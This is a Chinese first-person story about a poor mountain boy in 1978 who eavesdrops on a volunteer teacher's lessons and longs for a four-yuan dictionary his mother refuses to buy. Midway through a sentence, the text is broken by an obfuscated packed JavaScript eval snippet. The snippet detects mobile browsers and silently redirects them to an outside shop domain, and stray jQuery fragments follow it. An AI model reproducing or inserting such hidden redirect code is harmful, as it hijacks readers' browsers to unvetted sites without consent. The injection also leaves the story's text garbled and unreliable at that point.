七岁之前，我的人生始终循环在放牛、割猪草、打理零碎农活的日常之间，群山围合的花明村，长久陷在认知封闭的循环里面。母亲被常年的贫穷束缚了眼界，固守着村落代代流传的老旧观念，始终认定深山之中的读书没有实际用处。书本换不来口粮，填不饱肚皮，耗费钱财与光阴认字，远不如趁早熟练农活，早早为清贫的家庭分担生计压力。
村里原本的小学校舍，仅仅只是一间破败剥落的土坯房。墙面泥皮大块脱落，屋顶瓦片残缺漏雨，凹凸不平的泥地常年积着雨水洼。授课的本村老人识字有限，只能粗浅教授几个基础汉字，大部分孩童入校只是消磨年岁，稍稍长成便立刻辍学务农。在所有人的固有认知里，泥土注定是山里孩子最终的归宿，书本从来无法改写宿命。
一九七八年的春日，远道而来的支教陈老师踏进了五老峰闭塞的山谷，一道微弱的亮光，骤然刺破了村庄沿袭数十年的封闭格局。
陈老师年纪二十出头，气质斯文内敛，一口标准清亮的普通话，和村民厚重浑浊的山地方言形成了鲜明的反差。整座村落的村民心生好奇，闲暇之时便聚拢在校门口张望议论，大家本能地好奇这位从城市奔赴深山的读书人，究竟会带来怎样不一样的东西。彼时的我依旧没有正式入学，听从母亲的安排每日奔波山野劳作，入学的计划一次次被现实的拮据不断延后。
可教室之内全新的世界，牢牢勾住了我年少的心。
干完一天所有农活之后，我总会快步奔向村头的小学校舍。窗户没有购置玻璃，只用一层轻薄的塑料薄膜遮挡风雨，山风一吹便哗啦作响。我踮起单薄的身子，贴在墙体的缝隙之外，静静聆听屋内整齐划一的朗读声响。
人、口、手，上、中、下。
干净纯粹的读书声顺着风飘向山谷深处，抚平了山野日复一日劳作的枯燥乏味。陈老师的授课远远不止拼音与基础汉字，课余空余的时段，他耐心讲述山外辽阔的人间图景：笔直延伸的柏油公路，四轮运转的机动车，层层向上矗立的楼房，奔流浩荡的宽阔江河。无数从未出现在山村认知里的新鲜事物，一点点铺开在我的想象之中，让我第一次察觉到，群山圈定的视野，狭小得令人局促。
在所有新鲜的事物之中，最令我心神牵挂的，便是陈老师课桌之上静静平放的一本《新华字典》。方正厚重的书本密密麻麻刻印着汉字，陈老师时常在课堂上认真讲解，字典是读书人扎根前路的根本。遇到陌生生字、晦涩词组、难解的文意，全部可以依靠字典寻找答案，想要踏实走完求学的路途，一本专属的字典，是必不可少的依仗。
无数个黄昏趴在窗边偷听课程的时刻，我的目光始终牢牢锁定那本红色封皮的字典。心底生出人生第一份真切炽热的渴望，我想要拥有一本完全属于自己的字典，依靠文字读懂世间道理，亲身奔赴老师口中繁华辽阔的山外天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703100|208252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地。
当日暮色漫上山脊，我踏着湿润的山路赶回老屋，鼓起积攒许久的全部勇气，小心翼翼向母亲吐露心底的心愿，恳请她攒下零钱，为我买下一本字典。原本柔和的神情瞬间被深重的无奈覆盖，母亲放下手中盛放猪食的木桶，眉头紧紧收拢，现实层面的窘迫，直白碾碎了少年简单纯粹的向往。
“你知道一本字典需要四块钱吗？”母亲的语气疲惫又无力，“家里整年积攒下来的零碎铜钱寥寥无几，日常购置食盐、粗粮已经勉强勉强撑住生计，根本挤不出闲钱购置书本这类无用的物件。”
“村子里同龄的孩童没有人拥有字典，不靠书本认字照样安稳长大，不要再滋生这些脱离现实的痴心念头。”
几句朴实平淡的话语，封住了我所有想要辩解的言语。我从不贪恋香甜的零食，不渴求裁剪崭新的花布衣衫，唯一朴素的心愿，只是拥有一本用来认字求索的字典。可在贫穷死死笼罩的山谷之中，这份简单的期盼，奢侈到遥遥无期。
深夜躺放在硬板床上，木屋的瓦檐滴落春雨，水声滴答绵长，安静填满漫长的黑夜。我在昏暗之中默默立下心底的誓言，一定要死死抓住来之不易的读书机缘，早日拥有梦寐以求的字典，依靠自己的脚步，彻底冲破困住一代又一代人的五老峰。
围墙可以锁住山路，雾气可以遮蔽风景，但年少破土而出的向往，早已悄悄挣脱了山谷与生俱来的宿命。